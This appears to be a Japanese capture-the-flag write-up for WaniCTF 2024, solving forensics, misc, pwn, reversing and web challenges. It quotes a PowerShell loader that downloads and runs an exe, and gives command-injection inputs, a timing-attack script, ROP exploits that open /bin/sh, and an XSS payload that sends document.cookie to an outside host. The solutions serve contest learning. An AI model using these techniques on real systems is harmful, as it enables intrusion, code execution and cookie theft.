$u='ht'+'tp://192.168.0.16:8282/B64_dec'+'ode_RkxBR3tEYXl1bV90aGlzX'+'2lzX3NlY3JldF9maWxlfQ%3'+'D%3D/chall_mem_se'+'arch.e'+'xe';$t='Wan'+'iTem'+'p';mkdir -force $env:TMP\..\$t;try{iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;}catch{}
整形。
$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$t='WaniTemp';
mkdir -force $env:TMP\..\$t;
try{
iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;
}catch{}
B64_decode
と言われているので復号。
$ echo 'RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ==' | base64 -d
FLAG{Dayum_this_is_secret_file}
FLAG{Dayum_this_is_secret_file}
Misc
JQ Playground (Easy)
@app.route("/", methods=["POST"])
def post():
filter = request.form["filter"]
print("[i] filter :", filter)
if len(filter) >= 9:
return render_template("index.tmpl", error="Filter is too long")
if ";" in filter or "|" in filter or "&" in filter:
return render_template("index.tmpl", error="Filter contains invalid character")
command = "jq '{}' test.json".format(filter)
ret = subprocess.run(
command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
encoding="utf-8",
)
return render_template("index.tmpl", contents=ret.stdout, error=ret.stderr)
jq
の引数を指定できるから何とかしろと。フラグは /flag.txt にある。
Easyだし正解者数も多いのに、なかなか解けなくて辛かった。8文字以内と、 ;
、 |
、 &
が禁止という制約が大変。
jq
のフィルタ部分はJavaScriptコードが書けるらしい。が、8文字以内じゃな……。
shell=True
だからシェル的なアプローチも考えられる。 '`id`' で id
が実行される。しかし余裕があと2文字しかない。 </f*
とかしようにもファイルリダイレクトはワイルドカードは使えない。
filter
を配列にしてしまうのが定番だが、Flaskの request.form
では無理そう。
-f' /f*'
でいけた。''
を脱出するが、使うのはシェルの機能ではなく jq
の機能か。
jq: error: syntax error, unexpected '{', expecting $end (Unix shell quoting issues?) at , line 1:
FLAG{jqj6jqjqjqjqjqj6jqjqjqjqj6jqjqjq}
jq: 1 compile error
FLAG{jqj6jqjqjqjqjqj6jqjqjqjqj6jqjqjq}
sh (Normal)
#!/usr/bin/env sh
set -euo pipefail
printf "Can you guess the number? > "
read i
if printf $i | grep -e [^0-9]; then
printf "bye hacker!"
exit 1
fi
r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == $i ]]; then
printf "How did you know?!"
cat flag.txt
else
printf "Nope. It was $r."
fi
1 || 2
。
$ nc chal-lz56g6.wanictf.org 7580
Can you guess the number? > 1 || 2
How did you know?!FLAG{use_she11check_0r_7he_unexpec7ed_h4ppens}
printf
の1個目の初期指定文字列に %
が無ければ2個目以降の引数は無視されるので、出力は 1
となり、チェックが通る。1 ||
で if
の部分が通る。
FLAG{use_she11check_0r_7he_unexpec7ed_h4ppens}
Cheat Code (Easy)
10桁の整数である secret_number
を100回以内に当てればクリア。これは無理。チートコードがあって、チートコードが正しければクリアできる。
チートコードはストレッチングされ、10桁の整数をチェックする間に1文字ごとにチートコードが正しいかどうかを確認している。タイミング攻撃。
from pwn import *
import time
s = remote("chal-lz56g6.wanictf.org", 5000)
s.sendlineafter(b"Enter the cheat code: ", b"1234")
secret = ["0"]*10
for i in range(9):
m = 9999999
mc = ""
for c in "0123456789":
t0 = time.time()
secret[i] = c
s.sendlineafter(b"Enter the secret code: ", "".join(secret).encode())
s.recvline()
t1 = time.time()
t = t1-t0
print("".join(secret), t)
if t<m:
m = t
mc = c
secret[i] = mc
for c in "0123456789":
secret[9] = c
print("".join(secret))
s.sendlineafter(b"Enter the secret code: ", "".join(secret).encode())
r = s.recvline()[:-1].decode()
print(r)
if r=="Correct!":
r = s.recvline()[:-1].decode()
print(r)
break
$ python3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 5000: Done
0000000000 1.1085271835327148
1000000000 1.0898652076721191
2000000000 1.084608554840088
3000000000 1.0950937271118164
4000000000 1.0820040702819824
5000000000 1.1335391998291016
6000000000 0.9642772674560547
7000000000 1.1146504878997803
8000000000 1.1027536392211914
9000000000 1.1101067066192627
6000000000 1.0004091262817383
6100000000 0.8745722770690918
6200000000 0.9730749130249023
:
138559160 0.22511625289916992
6138559170 0.11503791809082031
6138559180 0.22327852249145508
6138559190 0.22612476348876953
6138559170
Wrong!
6138559171
Wrong!
6138559172
Wrong!
6138559173
Wrong!
6138559174
Correct!
FLAG{t1m!ng_a774ck_1s_f34rfu1}
[*] Closed connection to chal-lz56g6.wanictf.org port 5000
FLAG{t1m!ng_a774ck_1s_f34rfu1}
cached hash (Easy)
コンテナイメージに機密情報を追加すると、あとから削除しても途中のレイヤーに残ってしまうらしい。
今回はマルチステージビルドを使ってるから大丈夫だよね……?
# FROM golang:1.22-alpine AS builder
FROM golang@sha256:6522f0ca555a7b14c46a2c9f50b86604a234cdc72452bf6a268cae6461d9000b AS builder
WORKDIR /usr/src/cachedhash
COPY go.mod go.sum ./
RUN go mod download && go mod verify
COPY . .
RUN go build -v -o /usr/local/bin/cachedhash ./...
RUN cachedhash -mode hash -file ./flag.txt > ./hashed_flag.txt
# FROM gcr.io/distroless/static-debian12:nonroot
FROM gcr.io/distroless/static-debian12@sha256:e9ac71e2b8e279a8372741b7a0293afda17650d926900233ec3a7b2b7c22a246
COPY --from=builder /usr/local/bin/cachedhash /usr/local/bin/
COPY --from=builder /usr/src/cachedhash/hashed_flag.txt /
ENTRYPOINT ["cachedhash", "-mode", "serve", "-file", "/hashed_flag.txt"]
フラグはビルド用のステージにしか無いから漏れないと主張している。
docker-compose.yaml を見ると、イメージは public.ecr.aws/s8s0z7v7/r39cvpwh:latest から取得している。
このcacheの中にあるのだろう。
しかし、どうやって取得したら良いのか分からない。 docker build --cache_from public.ecr.aws/s8s0z7v7/r39cvpwh -t hgoe .
でダウンロードしているっぽさはあるけれど、ローカルのファイルがキャッシュ時と違うからキャッシュは使われない。
APIを叩いた。
公開されているリポジトリだが、
$ TOKEN=$(curl -k https://public.ecr.aws/token/ | jq -r '.token')
でトークンを取得する必要がある。
```shell-session
$ curl -H "Authorization: Bearer $TOKEN" https://public.ecr.aws/v2/s8s0z7v7/r39cvpwh/manifests/cache | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8129 0 8129 0 0 16096 0 --:--:-- --:--:-- --:--:-- 16128
{
"schemaVersion": 2,
"mediaType": "application/vnd.oci.image.manifest.v1+json",
"config": {
"mediaType": "application/vnd.buildkit.cacheconfig.v0",
"digest": "sha256:a0aef58f302643941f833a800bb01dd7925959e31150dba5819fb6faaa18b50b",
"size": 5199
},
"layers": [
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:035d7f545c098ccce87dd15feaee8b9d3ff8f01ee14ce3f3774ec445c8c6781b",
"size": 142,
"annotations": {
"buildkit/createdat": "2024-06-20T05:48:57.136445682Z",
"containerd.io/uncompressed": "sha256:861fd0dbfa66671f64ed10432b1fdc9a71b4824097e0dab6fe771504c7439836"
}
},
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:058cf3d8c2ba04ad7c064698c08c5e886a8623c0ad6171b8d72684253534417d",
"size": 537709,
"annotations": {
"buildkit/createdat": "2024-06-20T05:48:32.779561644Z",
"containerd.io/uncompressed": "sha256:945d17be9a3e27af5ca1c671792bf1a8f2c3f4d13d3994665d95f084ed4f8a60"
}
},
:
各レイヤーを見ていったら、 sha256:583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda
の中にあった。
$ curl -L -H "Authorization: Bearer $TOKEN" https://public.ecr.aws/v2/s8s0z7v7/r39cvpwh/blobs/sha256:583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda > 583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda.tar
フラグを見るに、APIを叩いたりしなくてすむ方法もある……?
FLAG{r3m07E_bU1ld_C4ch3_suPp0r7_1s_4dded_Las7_y34r}
Pwnable
nc (Beginner)
pwn問題はnc(net cat)コマンドを使って問題サーバに接続することがよくあります。ncの使い方を覚えておきましょう
下記コマンドをshellで実行することで問題サーバに接続することが出来ます。接続先で問題を解き、フラグを獲得してください
はい。
$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
15+1=0x
までがサーバーからの出力で、 10
がこちらからの入力。 0x
は16進数を表す。
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
do_not_rewrite (Easy)
canaryにはかなーり気をつけないといけません
:
int main() {
init();
Ingredient ingredients[3];
printf("hint: show_flag = %p\n", (void *)show_flag);
for (int i = 0; i <= 3; i++) {
printf("\nEnter the name of ingredient %d: ", i + 1);
scanf("%s", ingredients[i].name);
printf("Enter the calories per gram for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].calories_per_gram);
printf("Enter the amount in grams for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].amount_in_grams);
}
double total_calories = calculate_total_calories(ingredients, 3);
printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);
return 0;
}
だいぶ苦労した。スタックバッファオーバーフローはできるが、問題文の通り、スタックカナリアがある。 i
を書き換えて、スタックカナリアを飛び越えて書き込む……? でも、 i
は ingredients
より上位にあって書き換えられない。
しばらく悩んだけど、4個目のingredientが訊かれることに気が付いた。 i <= 3
。デバッガで動かしたり、逆アセンブル結果を眺めたりする前に、まずは普通に動かしましょう。
4個目のカロリーの位置にカナリアがあるので、書き換えてしまわないように、整数以外の値を入力する。system
の中に16バイトアラインメントを要求する命令があって、スタックを1個分ずらす必要があることに注意。
from pwn import *
context.arch = "amd64"
s = remote("chal-lz56g6.wanictf.org", 9004)
s.recvuntil(b"hint: show_flag = 0x")
show_flag = int(s.recvline()[:-1].decode(), 16)
for _ in range(3):
s.sendline(b"a")
s.sendline(b"0")
s.sendline(b"0")
s.sendline(pack(show_flag+5))
s.sendline(b"x")
s.sendline(b"0")
s.interactive()
3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 9004: Done
[*] Switching to interactive mode
Enter the name of ingredient 1: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 2: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 3: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 4: Enter the calories per gram for d2\xa3\x07'V: Enter the amount in grams for d2\xa3\x07'V:
Total calories for the meal: 0.00 kcal
Excellent!
FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$
FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}
do_not_rewrite2 (Normal)
便利な関数が消えてしまいましたね...
ropをしてみましょうshow_flag() has disappeared :<
Let's try ROP
libcのアドレスは教えてくれるので適当に。ここでは ret
を1個挟むことでスタックのアドレスを調整している。
from pwn import *
context.arch = "amd64"
s = remote("chal-lz56g6.wanictf.org", 9005)
s.recvuntil(b"hint: printf = 0x")
printf = int(s.recvline()[:-1].decode(), 16)
for _ in range(3):
s.sendline(b"a")
s.sendline(b"0")
s.sendline(b"0")
libc = ELF("pwn-do-not-rewrite2/libc.so.6")
libc.address = printf-libc.symbols.printf
rop = ROP(libc)
rop.raw(libc.address+0x601b6) # ret
rop.system(next(libc.search(b"/bin/sh")))
s.sendline(rop.chain())
s.sendline(b"x")
s.sendline(b"0")
s.interactive()
$ python3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 9005: Done
[*] '/mnt/d/documents/ctf/wani2024/do_not_rewrite2/pwn-do-not-rewrite2/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 111 cached gadgets for 'pwn-do-not-rewrite2/libc.so.6'
[*] Switching to interactive mode
Enter the name of ingredient 1: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 2: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 3: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 4: Enter the calories per gram for \xb61\x87\x8b(\x7f: Enter the amount in grams for \xb61\x87\x8b(\x7f:
Total calories for the meal: 0.00 kcal
/bin/sh: 2: 0: not found
$ ls -al
total 28
drwxr-xr-x. 1 root pwn 47 Jun 21 09:11 .
drwxr-xr-x. 1 root root 17 Jun 21 09:11 ..
-r--r-----. 1 root pwn 26 Jun 21 09:10 FLAG
-r-xr-x---. 1 root pwn 19672 Jun 21 09:10 chall
-r-xr-x---. 1 root pwn 35 Jun 21 09:10 redir.sh
$ cat FLAG
FLAG{r0p_br0d3n_0ur_w0r1d}
FLAG{r0p_br0d3n_0ur_w0r1d}
Reversing
lambda (Easy)
見づらいので改行。
import sys
sys.setrecursionlimit(10000000)
(lambda _0: _0(input))(lambda _1:
(lambda _2: _2('Enter the flag: '))
(lambda _3: (lambda _4: _4(_1(_3)))
(lambda _5: (lambda _6: _6(''.join))
(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))
(lambda _10: (lambda _11: _11(''.join))
(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))
(lambda _14: (lambda _15: _15(_12(_14)))
(lambda _16: (lambda _17: _17(''.join))
(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))
(lambda _21: (lambda _22: _22(''.join))
(lambda _23: (lambda _24: _24((_21(c) for c in _16)))
(lambda _25: (lambda _26: _26(_23(_25)))
(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))
(lambda _29: (lambda _30: _30(''.join))
(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))
(lambda _33: (lambda _34: _34(_31(_33)))
(lambda _35: (lambda _36: _36(lambda _37: lambda _38: _37 == _38))
(lambda _39: (lambda _40: _40(print))
(lambda _41: (lambda _42: _42(_39))
(lambda _43: (lambda _44: _44(_27))
(lambda _45: (lambda _46: _46(_43(_45)))
(lambda _47: (lambda _48: _48(_35))
(lambda _49: (lambda _50: _50(_47(_49)))
(lambda _51: (lambda _52: _52('Correct FLAG!'))
(lambda _53: (lambda _54: _54('Incorrect'))
(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))
(lambda _57: lambda _58: _58)))))))))))))))))))))))))))
こうかな。
F = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
F = [chr(int(c, 36)+10) for c in F.split("_")]
F = [chr(123^ord(c)) for c in F]
F = [chr(ord(c)+3) for c in F]
F = [chr(ord(c)-12) for c in F]
print("".join(F))
$ python3 solve.py
FLAG{l4_1a_14mbd4}
FLAG{l4_1a_14mbd4}
home (Normal)
FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!
デバッガをチェックして、フラグを生成して、そのまま終了している。
デバッガで実行して、チェックは条件分岐の直前でレジスタを書き換えて回避。
pwndbg> hexdump 0x7fffffffd500 0x100
+0000 0x7fffffffd500 89 00 00 00 83 00 00 00 73 00 00 00 90 00 00 00 │........│s.......│
+0010 0x7fffffffd510 74 00 00 00 86 00 00 00 68 00 00 00 81 00 00 00 │t.......│h.......│
+0020 0x7fffffffd520 81 00 00 00 5d 00 00 00 a7 00 00 00 2b 00 00 00 │....]...│....+...│
+0030 0x7fffffffd530 46 4c 41 47 7b 48 6f 77 5f 64 69 64 5f 79 6f 75 │FLAG{How│_did_you│
+0040 0x7fffffffd540 5f 67 65 74 5f 68 65 72 65 5f 34 56 4b 7a 54 4c │_get_her│e_4VKzTL│
+0050 0x7fffffffd550 69 62 51 6d 50 61 42 5a 59 34 7d 00 b9 1d 80 24 │ibQmPaBZ│Y4}....$│
+0060 0x7fffffffd560 f0 d5 ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 │........│........│
+0070 0x7fffffffd570 c8 da ff ff ff 7f 00 00 77 59 55 55 55 55 00 00 │........│wYUUUU..│
+0080 0x7fffffffd580 00 00 00 00 00 00 00 00 40 d0 ff f7 ff 7f 00 00 │........│@.......│
+0090 0x7fffffffd590 b0 d9 ff ff ff 7f 00 00 16 5a 55 55 55 55 00 00 │........│.ZUUUU..│
+00a0 0x7fffffffd5a0 2f 6d 6e 74 2f 64 2f 64 6f 63 75 6d 65 6e 74 73 │/mnt/d/d│ocuments│
+00b0 0x7fffffffd5b0 2f 63 74 66 2f 77 61 6e 69 32 30 32 34 2f 68 6f │/ctf/wan│i2024/ho│
+00c0 0x7fffffffd5c0 6d 65 00 00 00 00 00 00 00 00 00 00 ff 7f 00 00 │me......│........│
+00d0 0x7fffffffd5d0 00 00 00 00 ff 7f 00 00 00 00 00 00 ff 7f 00 00 │........│........│
+00e0 0x7fffffffd5e0 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+00f0 0x7fffffffd5f0 08 39 fc f7 ff 7f 00 00 f0 da ff f7 ff 7f 00 00 │.9......│........│
FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}
Thread (Hard)
Ghidraで見ると、1文字ごとにスレッドを起動してフラグをチェックしている。
デバッガで解析しているなら大変そうだが、静的解析をする分には、まあそんなに影響は無い。
T = [
0x00a8, 0x008a, 0x00bf, 0x00a5, 0x02fd, 0x0059, 0x00de, 0x0024,
0x0065, 0x010f, 0x00de, 0x0023, 0x015d, 0x0042, 0x002c, 0x00de,
0x0009, 0x0065, 0x00de, 0x0051, 0x00ef, 0x013f, 0x0024, 0x0053,
0x015d, 0x0048, 0x0053, 0x00de, 0x0009, 0x0053, 0x014b, 0x0024,
0x0065, 0x00de, 0x0036, 0x0053, 0x015d, 0x0012, 0x004a, 0x0124,
0x003f, 0x005f, 0x014e, 0x00d5, 0x000b,
]
ans = ""
for i in range(len(T)):
t = T[i]
for j in range(3)[::-1]:
if (i+j)%3==0:
t //= 3
if (i+j)%3==1:
t -= 5
if (i+j)%3==2:
t ^= 0x7f
ans += chr(t)
print(ans)
$ python3 solve.py
FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}
FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}
gates (Normal)
angrに投げた。けっこう時間が掛かったので、想定解法ではないのかもしれない。
import angr
project = angr.Project("rev-gates/gates", auto_load_libs=False)
@project.hook(0x401124)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
$ python3 solve.py
FLAG SHOULD BE: b'FLAG{INTr0dUction_70_R3v3R$1NG1}'
FLAG{INTr0dUction_70_R3v3R$1NG1}
Web
Bad_Worker (Beginner)
オフラインで動くウェブアプリをつくりました。
そんなのあるんだ。
サーバーで動いているものをオフラインにダウンロードするから、フラグも見られるということ……? どこに保存されるのだろう……と開発者ツールを眺めていたら、次の関数が目に入った。
:
async function onFetch(event) {
let cachedResponse = null;
if (event.request.method === 'GET') {
const shouldServeIndexHtml = event.request.mode === 'navigate';
let request = event.request;
if (request.url.toString().includes("FLAG.txt")) {
request = "DUMMY.txt";
}
if (shouldServeIndexHtml) {
request = "index.html"
}
return fetch(request);
}
return cachedResponse || fetch(event.request);
}
:
Web Workerリクエストを書き換えているようなので、ブラウザを使わずにダウンロードした。
$ curl https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
pow (Easy)
ハッシュを計算してフラグを取ろう
SHA256ハッシュの上位24ビットが0であるような文字列を探索して、サーバーに送りつけている。1000000回送りつけるとクリアらしい。
同じ文字列を2回送ってもカウントされることに気が付いた。同じ文字列を100万回送りつける……? 100万回……? まあやってみるか、とやったら、レートリミットで弾かれた。
一度にまとめて送ることもできた。10万個送りつけるとエラーになったので、9万個を12回送った。
import requests
s = requests.session()
for i in range(12):
r = s.post("https://web-pow-lz56g6.wanictf.org/api/pow", json=["7844289"]*90000)
print(r.text)
$ python3 solve.py
progress: 90000 / 1000000
progress: 180000 / 1000000
progress: 270000 / 1000000
progress: 360000 / 1000000
progress: 450000 / 1000000
progress: 540000 / 1000000
progress: 630000 / 1000000
progress: 720000 / 1000000
progress: 810000 / 1000000
progress: 900000 / 1000000
progress: 990000 / 1000000
FLAG{N0nCE_reusE_i$_FUn}
One Day One Letter (Normal)
果報は寝て待て
12文字のフラグのうち、1日ごとにどこか1文字が表示される。コンテスト期間は2日。クライアントのJavaScriptでは、タイムサーバーから時刻を取得して、コンテンツサーバーに送るということをしている。
タイムサーバーが返す時刻はちゃんと署名がされている。……が、コンテンツサーバーに送るときにはタイムサーバーのアドレスをクライアント側から指定しているので、自分でタイムサーバーを立てれば良い。
問題は、タイムサーバーがHTTPSでないといけないこと。
:
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
:
この手の自分で用意したサーバーに何かを送りつける問題を解くときのために、DDNSを手元のPCに向くようにしている。良い機会だから、これをHTTPSにするリバースプロキシを動かすようにした。これで、手元のPCで python3 -m http.server
と動かしたものにHTTPSでアクセスできる。
配布されているタイムサーバーを1日とか2日とかずらして動かして、それをコンテンツサーバーに送って……ということを繰り返した。
$ curl 'https://myserver/'
{"timestamp": "1719133661", "signature": "dbab28a8ce2a22d989186531b883fc49f55cbf56c6677072842d7f692a96db0afcb64d428dc9177234b0a0923830c0c3f6b57e6547fa5bea36206133a07e53ac"}
$ curl 'https://web-one-day-one-letter-content-lz56g6.wanictf.org/' \
-H 'content-type: application/json' \
--data-raw '{"timeserver":"myserver","timestamp": "1719133661", "signature": "dbab28a8ce2a22d989186531b883fc49f55cbf56c6677072842d7f692a96db0afcb64d428dc9177234b0a0923830c0c3f6b57e6547fa5bea36206133a07e53ac"}'
<p>Current time is 2024-06-23 09:07:41.</p>
<p>Flag is FLAG{?y??????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
$
$ curl 'https://myserver/'
{"timestamp": "1719220103", "signature": "c21c7d3eaa02fc1c04ed1fae219181bcdc7de5c068fe6e3c78694ce486ef215dbd4ae0258e79e7a94d7f9103139a05d3f6f10977a9d720a1ef15a2df5fb0bf40"}
$ curl 'https://web-one-day-one-letter-content-lz56g6.wanictf.org/' -H 'content-type: application/json' --data-raw '{"timeserver":"myserver","timestamp": "1719220103", "signature": "c21c7d3eaa02fc1c04ed1fae219181bcdc7de5c068fe6e3c78694ce486ef215dbd4ae0258e79e7a94d7f9103139a05d3f6f10977a9d720a1ef15a2df5fb0bf40"}'
<p>Current time is 2024-06-24 09:08:23.</p>
<p>Flag is FLAG{??i?????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
:
FLAG{lyingthetime}
Noscript (Normal)
XSSができるが、
This page is protected by csp
default-src 'self', script-src 'none'
.
APIの /username/:id
はCSPが掛かっていない。
プロフィール欄に
<iframe src="/username/97678880-e285-4bf7-9965-87435c09e678"></iframe>
を書いて、ユーザー名を
<script>fetch("https://....m.pipedream.net/?"+document.cookie)</script>
にした。
HTTPSのページからHTTPSのページに fetch
はできないらしい。この問題は「One Day One Letter」より先に解いていたので、こっちはRequestBinを使った。